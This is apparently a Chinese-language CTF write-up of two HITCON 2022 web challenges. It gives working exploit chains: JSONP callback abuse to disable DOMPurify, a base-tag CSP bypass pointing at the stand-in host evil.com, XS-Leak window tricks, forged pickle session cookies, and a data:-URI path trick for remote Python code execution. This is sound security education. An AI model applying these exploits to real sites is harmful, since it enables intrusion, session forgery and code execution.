Hitcon2022

写在前面

to be continued …


secure paste

题面是一个端到端加密的pastebin,key在前端生成不走后端,访问的时候放在hash里,flag的url是可以直接拿到的,但是没有key。

在访问提供的url之前,bot会先把flag的url带上key访问一遍,然后直接page.goto,所以key应该是要用history.back拿到。

首先是一个显而易见的注入,在paste.ejs里

window.onload = () => {
    const id = new URLSearchParams(location.search).get('id')
    const script = document.createElement('script')
    script.src = `/api/pastes/${id}?callback=load`
    script.nonce = '<%= nonce %>'
    document.body.appendChild(script)
}

这里id是可控的,也就可以注入callback参数执行js函数,不过是有限制的,可以从express的源码中看到

// restrict callback charset
callback = callback.replace(/[^\[\]\w$.]/g, '');

也就是没法使用bind的方法来设置参数调用任意函数。

XSLeak

先讲一个XSLeak的非预期,很方便的做法,可能最快做出来的那个队就是这样打的吧。

构造一个 window.open 的chain,a.html -> b.html -> c.html -> d.html

  • a先open b,然后 history.back()

  • b有很多iframe,name分别是base64的charset,然后open c

  • c open d

  • d把c navigate到可以jsonp的那个题目页面,用jsonp执行

    opener[opener.opener.location.hash[i]].focus
  • b检查frame的active情况,然后上报

这种做法的关键在于即使b和c不是同源的,c也可以访问到b的frames和opener,然后因为b的opener是a,和c是同源的,也就可以拿到a的location。

XSS

offical的做法,在paste页面实现任意xss。

光是有jsonp能做的事情显然是不够的,需要找其他可以执行js的地方

if (data.type === 'markdown') {
    const div = document.createElement('div')
    div.innerHTML = await fputils.acompose(
        DOMPurify.sanitize, marked.parse, getContent
    )({ ...ctx, ct: data.content })
    disp.appendChild(div)
} else {
    const pre = document.createElement('pre')
    pre.textContent = await getContent({ ...ctx, ct: data.content })
    disp.appendChild(pre)
}

在paste页面decrypt的地方可以看到decrypt的逻辑,这里如果不是markdown类型,是对textContent赋值,肯定没法xss的,而markdown类型解密出来是直接对innerHTML赋值,如果能绕过DOMPurify的话还有点机会(众所周知,DOMPurify存在的意义就是被绕过),但markdown格式需要有premium token才能用。

看bot的代码可以注意到,实际上我们是有一个type为markdown的paste的,也就是flag的那个paste,虽然只有一个id,也没有解密的key。

// Giving you the url of the secret should be safe because you don't have decryption key :)
await page.goto(url + '?from=' + encodeURIComponent(urlNoKey))

那有没有机会在decrypt的时候做事情呢?

The crypto bug

首先是crypto部分中的bug

CryptoUtils.prototype.decrypt = async function (obj) {
    const ctx = { ...obj, name: this.name, additionalData: this.additionalData }
    const key = await crypto.subtle.importKey(ctx.key.type, ctx.key.data, ctx, true, ['decrypt'])
    return new Uint8Array(await crypto.subtle.decrypt(ctx, key, ctx.ct))
}

这里的定义看起来没啥问题,但是在实际使用的时候

const cu = new CryptoUtils()
// ...
const getContent = fputils.acompose(updateTitleAndGetContent, JSON.parse, utils.textDecode, cu.decrypt)

这里CryptoUtils.decrypt中的this在实际使用时指向的其实是window对象,可以拿下面的代码测试一下

function CryptoUtils() {
    this.name ||= 'AES-GCM'
}
CryptoUtils.prototype.decrypt = async function (obj) {
    console.log(this)
    return this.name
}
const cu = new CryptoUtils()
console.log(cu.decrypt())

const decrypt = cu.decrypt
console.log(decrypt())

这显然是有问题的,但实际上题目的功能却很完整,这是因为题目中还有别的bug,crypto.js这里定义了CryptoUtils并将其返回

(function (root, factory) {
    if (typeof define === 'function' && define.amd) {
        return define(['webcrypto', 'utils'], factory)
    } else if (typeof exports === 'object') {
        return (module.exports = factory(require('crypto').webcrypto, require('./utils')))
    } else {
        return (root.CryptoUtils = factory(crypto, utils))
    }
})(this, function (crypto, utils) {
    function CryptoUtils() {
        this.name ||= 'AES-GCM'
        this.additionalData ||= utils.textEncode('Secure Paste Encrypted Data')
    }
    // ...
    return CryptoUtils
})

这里结束的时候并没有添加分号(js目录下其他文件都加了),这就导致在bundle的时候和下一个文件中的括号直接连起来,CryptoUtils会被调用,而下一个文件内的东西会被作为参数。

const bundlejs = (() => {
    // poor man's javascript bundler
    const DIR = 'static/js'
    let js = ''
    for (const f of ['utils.js', 'crypto.js', 'fputils.js', 'jsonplus.js']) {
        js += fs.readFileSync(`${DIR}/${f}`, 'utf-8') + '\n'
    }
    return js
})()

但是如果下一个文件内的第一个括号被当作函数调用,那下一个文件内第二个括号内的东西应该会出问题,为什么一切都很正常呢?

可以来看下下一个js文件fputils.js

((function (root, factory) {
    // ...
})(this, function () {
    // ...
}));

这里在整个表达式外又加了一个括号(其他几个js文件都没有这样做),这样就保证了原来的语义,使表达式可以正常执行,由于CryptoUtils函数不需要参数,所以执行结果也没有起作用。

CryptoUtils函数被直接调用而不是new出来的话,this.name也就是window.name就被设置了,这样在decrypt的时候就不会出错了。

两个bug合起来使代码可以work,还是挺离谱的,作者也确实加了一些“看起来不太寻常但又感觉没啥问题”的改动

window.name是算法,hash是key,这两个都是可控的,这时候就可以控制decrypt出来的内容了。

DOMPurify bypass

虽然已经可以控制decrypt出来的内容了,但是还有DOMPurify需要绕过。

看DOMPurify.sanitize的源码可以发现

DOMPurify.sanitize = function (dirty, cfg = {}) {
    // ...

    /* Check we can run. Otherwise fall back or ignore */
    if (!DOMPurify.isSupported) {
        if (
            typeof window.toStaticHTML === 'object' ||
            typeof window.toStaticHTML === 'function'
        ) {
            if (typeof dirty === 'string') {
                return window.toStaticHTML(dirty);
            }
            if (_isNode(dirty)) {
                return window.toStaticHTML(dirty.outerHTML);
            }
        }
        return dirty;
    }
}

DOMPurify有个isSupported属性,可以利用jsonp是把这个属性delete掉

delete[DOMPurify][0].isSupported

但是一个页面只能执行一次jsonp的callback,需要再打开一个paste页面,利用

delete[opener.DOMPurify][0].isSupported

这里可能会不成功,需要race一下,使xss发生页面的callback在DOMPurify被禁掉之后被调用。

CSP bypass

虽然现在可以注入任意html了,但是还有CSP的限制,还不能随便执行js

app.use((req, res, next) => {
    const nonce = crypto.randomBytes(16).toString('hex')
    res.locals.nonce = nonce
    res.set(
        'Content-Security-Policy',
        `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src *; frame-src 'none'; object-src 'none'`
    )
    res.set('X-Frame-Options', 'DENY')
    res.set('X-Content-Type-Options', 'nosniff')
    next()
})

把CSP的内容放到CSP Evaluator里可以发现缺了base-url,所以可以注入base tag

<base href="http://evil.com">

然后利用onload时create出来的带nonce的script标签来加载外部js代码。

Exp

所以整个利用过程可以总结为

  • 给bot一个url,打开a页面
  • a页面打开b页面,然后history.back()
  • b页面打开c页面
  • c页面利用jsonp把b页面的DOMPurify禁掉
  • b页面控制decrypt出的xss payload拿到opener.location,也就是a的location

S0undCl0ud

题目是一个云服务,可以传music,后端是flask。

第一个bug在get music的时候,没有对username做检查,可以路径穿越

@app.get("/@<username>/<file>")
def music(username, file):
    return send_from_directory(f"musics/{username}", file, mimetype="application/octet-stream")

不过由于不能有/,只能穿一层,可以拿到app.py的源码,也就可以拿到secret_key。

有了secret_key就可以伪造session了

payload = pickle.dumps(data)
s = TimestampSigner(
    secret_key=app.secret_key,
    salt='cookie-session',
    digest_method=hashlib.sha1,
    key_derivation='hmac',
).sign(base64_encode(payload)).decode()
print(s)

这里session serializer用的是pickle,open session的时候会调用pickle.loads,可以在这里做一些事情,不过题目中pickle的loads被替换了。

def loads_with_validate(data, *args, **kwargs):
    opcodes = pickletools.genops(data)

    allowed_args = ['user_id', 'musics', None]
    if not all(op[1] in allowed_args 
               or type(op[1]) == int 
               or type(op[1]) == str and re.match(r"^musics/[^/]+/[^/]+$", op[1])
               for op in opcodes):
        return {}

    allowed_ops = ['PROTO', 'FRAME', 'MEMOIZE', 'MARK', 'STOP',
                   'EMPTY_DICT', 'EMPTY_LIST', 'SHORT_BINUNICODE', 'BININT1',
                   'APPEND', 'APPENDS', 'SETITEM', 'SETITEMS']
    if not all(op[0].name in allowed_ops for op in opcodes):
        return {}

    return _pickle_loads(data, *args, **kwargs)

pickle.loads = loads_with_validate

虽然看起来只有一些没啥用的opcode可以用,但实际上allow_ops的限制没什么作用,只是一个纸老虎,因为genops返回的是一个generator,在第一次not all的时候iter已经迭代完了,第二次not all肯定会过。

import pickletools
import pickle

data = pickle.dumps(1)
opcodes = pickletools.genops(data)
print(opcodes)
for op in opcodes:
    print(op)
print(len([op for op in opcodes]))
'''
<generator object _genops at 0x7f5ecc2112e0>
(<pickletools.OpcodeInfo object at 0x7f5ecc188a60>, 4, 0)
(<pickletools.OpcodeInfo object at 0x7f5ecc1653a0>, 1, 2)
(<pickletools.OpcodeInfo object at 0x7f5ecc188ac0>, None, 4)
0
'''

所以其实是可以使用任意opcode的,但是第一次not all的时候对opcode的参数做了限制。

既然有music文件夹,也可以在music文件夹下写文件,可以考虑利用pickle中的global操作符把music下的文件import进来。

上传文件时有一个mimetypes的文件类型校验

if mimetypes.guess_type(file.filename)[0] in AUDIO_MIMETYPES \
       and magic.from_buffer(file.stream.read(), mime=True) in AUDIO_MIMETYPES:

文件内容的check可以通过构造文件头来绕过,文件名的check可以用data协议配合safe_join来绕过

>>> mimetypes.guess_type('data:audio/mp4,/../../__init__.py')
('audio/mp4', None)

safe_join的时候会先调用posixpath.normpath,所以join的时候可以变成正常的路径

>>> posixpath.normpath('data:audio/mp4,/../../__init__.py')
'__init__.py'
>>> safe_join('music', 'abc/../', 'data:audio/mp4,/../../__init__.py')
'music/./__init__.py'

这样只要import music就可以执行任意python代码了。


void